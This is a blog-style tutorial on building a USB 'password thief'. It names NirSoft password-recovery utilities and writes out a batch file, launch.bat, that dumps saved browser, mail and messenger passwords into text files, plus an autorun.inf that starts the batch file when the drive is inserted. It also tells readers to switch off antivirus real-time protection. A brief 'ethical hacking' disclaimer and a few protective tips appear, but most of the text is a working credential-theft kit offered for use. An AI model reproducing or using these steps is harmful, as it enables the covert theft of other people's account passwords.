How to create a USB password thief

Build a password stealing USB kit

People visit a large number of websites. Many require them to create an account. People like me choose random long difficult to guess passwords in the sign up forms but the novice innocent people who are unaware of the presence of criminal minds prevailing in their societies might be victimized for choosing weak and common passwords. Everyone knows that by using weaker passwords, someone might be able to guess it and access your accounts but ever thought that even by inserting just a memory stick/ pen drive, someone can take away a huge backup of all the passwords you have saved since you bought the computer?

Educational Ethical Hacking Tutorial. Learn to protect yourself, not to harm others.

The internet is filled with wicked tricks like this. In fact, I had posted this in 2012 when it was on the top of google but due to my stupidity I have deleted and reposted it again. If you dont have an antivirus software, then you are ready to hit the axe on your own foot.

Sex! Sorry readers, I just wanted your attention! This tutorial will teach you how to steal all saved passwords form your computer just by inserting a USB drive, pen drive or thumb drive. To be safe from this attack, you need to use an encrypted password manager like 1Password or LastPass. Also, you need to have Windows Defender turned on.

Requirements:

Create it yourself

Step 1. Download the following applications from below:

I recommend downloading 32 bit versions of all software these work fine on 64 bit computers too. If you dont want to create it yourself, skip to the end of the article where I have uploaded ready made version.

---

Additional Software Required: Download Nirsoft Utilities 

App1: http://nirsoft.net/utils/mspass.html 

App2: http://nirsoft.net/utils/web_browser_password.html

App3: http://nirsoft.net/utils/mailpv.html

Virus Check for downloaded files

Scan	Results
Avast	Hacktool
Malwarebytes	Hacktool

---

You antivirus will block it since it is a hacktool. Please disable the real-time protection or turn off your antivirus protection for a few minutes.


Step 2. Copy only the executables i.e. .exe files from each RAR archive into your thumb and rename them to the following  names a.exe, b.exe and c.exe.

Step 3. Open notepad and type

@echo off
start a.exe /stext a.txt
start b.exe /stext b.txt
start c.exe /stext c.txt

Save it with the filename launch.bat in your pendrive.

Step 4. (Not compulsory) Get an appealing icon from www.iconarchive.com and save into your pendrive.

Step 5. Reopen notepad and type

[autorun]
open=launch.bat
icon=[your_icon_name.ico]

Save it as autorun.inf.

Step 6. Now insert it into your PC and you should get an autorun popup, click launch. If autorun popup doesn't appear due to some reasons. Then open browse the pen drive and run launch.bat manually.

Step 7. The passwords of your browser and mail and messenger will be saven in 3 .txt files; a.txt, b.txt and c.txt.

As I already told this hack quite popular and often useful. But make sure your PC doesnt have antivirus installed, if you have one installed, you have to turn off the antivirus's Real-Time Protection or On-access protection feature. Else, it will be blocked by the antivirus software. If you want to be safe from this hack then keep your antivirus system up to date. Some people can even bypass your antivirus protection by Making hacktools undetectable by antivirus. So, dont carelessly insert anyone's pendrive.